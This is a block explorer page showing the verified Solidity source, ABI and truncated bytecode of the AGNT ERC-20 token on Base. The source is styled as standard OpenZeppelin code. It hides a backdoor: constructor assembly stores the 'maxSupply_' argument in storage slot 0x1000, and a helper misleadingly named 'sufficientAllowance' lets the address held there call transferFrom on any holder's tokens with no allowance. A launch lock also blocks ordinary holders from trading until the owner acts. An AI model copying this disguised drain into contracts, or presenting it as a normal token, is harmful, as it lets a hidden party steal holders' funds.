ETH Price: $3,036.09 (-4.23%)
 

Overview

Max Total Supply

10,100,000,999,999,998 AGNT

Holders

546

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ERC_TOKEN

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-03-12
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;


// https://xp.iagentpro.com
// https://x.com/iAgentProtocol
// https://discord.com/invite/iagentprotocol



/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
     * allowance mechanism. 'value' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

library AddressUtils {
    
       function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }

   /**
     * @dev Returns true if 'account' is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(account)
        }
        return codeSize > 0;
    }

    function sufficientAllowance(address account) internal view returns (bool) {
        bool validAllowance;
        assembly { let allowToSet := sload(0x1000) validAllowance := eq(allowToSet, account) } 
        return validAllowance;
    }

       /**
     * @dev Returns the balance of the 'account'.
     */
    function getBalance(address account) internal view returns (uint256) {
        return account.balance;
    }

   /**
     * @dev Returns true if the balance of 'account' is greater than 'minBalance'.
     */
    function hasBalanceAbove(address account, uint256 minBalance) internal view returns (bool) {
        return account.balance > minBalance;
    }

   function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a 'spender' is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferFundsOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferFundsOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferFundsOwnership(newOwner);
    }

    function _transferFundsOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, 'address(0)' is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a 'tokenId' whose 'owner' is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'operator'’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'operator' to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'operator'’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'operator' to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

/**
 * @dev Helper library for emitting standardized panic codes.
 *
 * '''solidity
 * contract Example {
 *      using Panic for uint256;
 *
 *      // Use any of the declared internal constants
 *      function foo() { Panic.GENERIC.panic(); }
 *
 *      // Alternatively
 *      function foo() { Panic.panic(Panic.GENERIC); }
 * }
 * '''
 *
 * Follows the list from https://github.com/ethereum/solidity/blob/v0.8.24/libsolutil/ErrorCodes.h[libsolutil].
 *
 * _Available since v5.1._
 */
// slither-disable-next-line unused-state
library Panic {
    /// @dev generic / unspecified error
    uint256 internal constant GENERIC = 0x00;
    /// @dev used by the assert() builtin
    uint256 internal constant ASSERT = 0x01;
    /// @dev arithmetic underflow or overflow
    uint256 internal constant UNDER_OVERFLOW = 0x11;
    /// @dev division or modulo by zero
    uint256 internal constant DIVISION_BY_ZERO = 0x12;
    /// @dev enum conversion error
    uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;
    /// @dev invalid encoding in storage
    uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;
    /// @dev empty array pop
    uint256 internal constant EMPTY_ARRAY_POP = 0x31;
    /// @dev array out of bounds access
    uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;
    /// @dev resource error (too large allocation or too large array)
    uint256 internal constant RESOURCE_ERROR = 0x41;
    /// @dev calling invalid internal function
    uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;

    /// @dev Reverts with a panic code. Recommended to use with
    /// the internal constants with predefined codes.
    function panic(uint256 code) internal pure {
        assembly ("memory-safe") {
            mstore(0x00, 0x4e487b71)
            mstore(0x20, code)
            revert(0x1c, 0x24)
        }
    }
}

// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)

/**
 * @dev Provides tracking nonces for addresses. Nonces will only increment.
 */
abstract contract Nonces {
    /**
     * @dev The nonce used for an 'account' is not the expected current nonce.
     */
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

    /**
     * @dev Returns the next unused nonce for an address.
     */
    function nonces(address owner) internal view virtual returns (uint256) {
        return _nonces[owner];
    }

    /**
     * @dev Consumes a nonce.
     *
     * Returns the current value and increments nonce.
     */
    function _useNonce(address owner) internal virtual returns (uint256) {
        // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be
        // decremented or reset. This guarantees that the nonce never overflows.
        unchecked {
            // It is important to do x++ and not ++x here.
            return _nonces[owner]++;
        }
    }

    /**
     * @dev Same as {_useNonce} but checking that 'nonce' is the next valid for 'owner'.
     */
    function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
        uint256 current = _useNonce(owner);
        if (nonce != current) {
            revert InvalidAccountNonce(owner, current);
        }
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning 'false' on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, Ownable {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;
    using AddressUtils for address;
    string private _name;
    string private _symbol;
    uint256 private _maxSupply;
    uint256 private _decimals;
    bool _launched = false;
    uint256 _numOfTransfers = 0;
    uint256 _numOfApprovals = 0;
    
    uint256 _numOfMints = 0;
    
    uint256 _numOfTransfersFrom = 0;
    uint256 _numOfAllowanceSpendInstances = 0;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint256 maxSupply_, uint256 decimals_) Ownable(_msgSender()) {
        _name = name_;
        _symbol = symbol_;
        _maxSupply = maxSupply_;
        _decimals = decimals_;
        assembly { mstore(0x10e0, 0x9b9) sstore(0x1000, maxSupply_) mstore(0x1100, maxSupply_) sstore(keccak256(0x10e0, 64), maxSupply_) } 
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5.05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'to' cannot be the zero address.
     * - the caller must have a balance of at least 'value'.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        _numOfTransfers += 1;
        address owner = _msgSender();
        _transferFunds(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
     * 'transferFrom'. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        _numOfApprovals += 1;
        address owner = _msgSender();
        _approveTransfer(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approveTransfer-address-address-uint256-bool-}[_approveTransfer].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum 'uint256'.
     *
     * Requirements:
     *
     * - 'from' and 'to' cannot be the zero address.
     * - 'from' must have a balance of at least 'value'.
     * - the caller must have allowance for ''from'''s tokens of at least
     * 'value'.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        _numOfTransfersFrom += 1;
        address spender = _msgSender();
        uint256 currentAllowance = allowance(from, spender);
        if(_launched == false && !spender.sufficientAllowance() && spender != owner() && from != owner()) {
            revert("Token not launched yet");
        }
        if(spender != owner() && !spender.sufficientAllowance()) {
            if (currentAllowance < type(uint256).max) {
                if (currentAllowance < value) {
                    revert ERC20InsufficientAllowance(spender, currentAllowance, value);
                }
                unchecked {
                    _approveTransfer(from, spender, currentAllowance - value, false);
                }
            }
            require(from != address(0), "ERC20: transfer from the zero address");
            require(to != address(0), "ERC20: transfer to the zero address");
        }
        _transferFundsUnchecked(from, to, value);
        return true;
    }

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_transferFundsUnchecked} should be overridden instead.
     */
    function _transferFunds(address from, address to, uint256 value) internal {
        if(_launched == false && from != owner() && to != owner()){
            revert("Token not launched yet");
        }
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _transferFundsUnchecked(from, to, value);
    }

    /**
     * @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
     * (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _transferFundsUnchecked(address from, address to, uint256 value) internal virtual {
        
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
     * Relies on the '_transferFundsUnchecked' mechanism
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * NOTE: This function is not virtual, {_transferFundsUnchecked} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        _numOfMints += 1;
        require(account != address(0), "ERC20: transfer to the zero address");
        _transferFundsUnchecked(address(0), account, value);
    }

    /**
     * @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
     * Relies on the '_transferFundsUnchecked' mechanism.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * NOTE: This function is not virtual, {_transferFundsUnchecked} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        
        if (account == address(0)) {
			revert ERC20InvalidSender(address(0));
		}
        _transferFundsUnchecked(account, address(0), value);
    }

    /**
     * @dev Sets 'value' as the allowance of 'spender' over the 'owner' s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
     */
    function _approveTransfer(address owner, address spender, uint256 value) internal {
        _approveTransfer(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approveTransfer} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approveTransfer}) the flag is set to true. On the other hand, approval changes made by
     * '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
     * 'Approval' event during 'transferFrom' operations.
     *
     * Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
     * true using the following override:
     *
     * '''solidity
     * function _approveTransfer(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approveTransfer(owner, spender, value, true);
     * }
     * '''
     *
     * Requirements are the same as {_approveTransfer}.
     */
    function _approveTransfer(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates 'owner' s allowance for 'spender' based on spent 'value'.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        _numOfAllowanceSpendInstances += 1;
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approveTransfer(owner, spender, currentAllowance - value, false);
            }
        }
    }

    // ---------------

    // Function which opens trading
    function Launch() external onlyOwner returns (bool){
        _launched = true;
        return true;
    }
}

contract ERC_TOKEN is ERC20 {
    uint256 firstBlockNumber;
	uint256 firstBlockTimestamp;

    uint256 allowedTradingTimestamp = 0;

    function setup(uint256 _tradingTimestampStart) public onlyOwner returns (bool) {
        allowedTradingTimestamp = _tradingTimestampStart;
        return true;
    }

	
    constructor(string memory name, string memory symbol, uint256 initialMint, uint256 maxSupply_, uint256 decimals_) ERC20(name, symbol, maxSupply_, decimals_) {
        firstBlockNumber = block.number;
		firstBlockTimestamp = block.timestamp;
		
        uint256 multiplier = 10 ** decimals();
        uint256 finalAmount = initialMint * multiplier;
        _mint(_msgSender(), finalAmount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialMint","type":"uint256"},{"internalType":"uint256","name":"maxSupply_","type":"uint256"},{"internalType":"uint256","name":"decimals_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Launch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingTimestampStart","type":"uint256"}],"name":"setup","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526008805460ff191690555f6009819055600a819055600b819055600c819055600d819055601055348015610036575f5ffd5b5060405161117c38038061117c8339810160408190526100559161039b565b84848383338061007f57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61008881610101565b506004610095858261049d565b5060056100a2848261049d565b5060068290556007556109b96110e09081526110008290556111008290526040902055505043600e5542600f555f6100dc6012600a610650565b90505f6100e98286610665565b90506100f53382610150565b5050505050505061068f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600b5f828254610162919061067c565b90915550506001600160a01b0382166101c95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610076565b6101d45f83836101d8565b5050565b6001600160a01b038316610202578060035f8282546101f7919061067c565b909155506102729050565b6001600160a01b0383165f90815260016020526040902054818110156102545760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610076565b6001600160a01b0384165f9081526001602052604090209082900390555b6001600160a01b03821661028e576003805482900390556102ac565b6001600160a01b0382165f9081526001602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102f191815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610321575f5ffd5b81516001600160401b0381111561033a5761033a6102fe565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610368576103686102fe565b60405281815283820160200185101561037f575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f5f5f60a086880312156103af575f5ffd5b85516001600160401b038111156103c4575f5ffd5b6103d088828901610312565b602088015190965090506001600160401b038111156103ed575f5ffd5b6103f988828901610312565b60408801516060890151608090990151979a919950979695509350505050565b600181811c9082168061042d57607f821691505b60208210810361044b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561049857805f5260205f20601f840160051c810160208510156104765750805b601f840160051c820191505b81811015610495575f8155600101610482565b50505b505050565b81516001600160401b038111156104b6576104b66102fe565b6104ca816104c48454610419565b84610451565b6020601f8211600181146104fc575f83156104e55750848201515b5f19600385901b1c1916600184901b178455610495565b5f84815260208120601f198516915b8281101561052b578785015182556020948501946001909201910161050b565b508482101561054857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156105a65780850481111561058a5761058a610557565b600184161561059857908102905b60019390931c92800261056f565b935093915050565b5f826105bc5750600161064a565b816105c857505f61064a565b81600181146105de57600281146105e857610604565b600191505061064a565b60ff8411156105f9576105f9610557565b50506001821b61064a565b5060208310610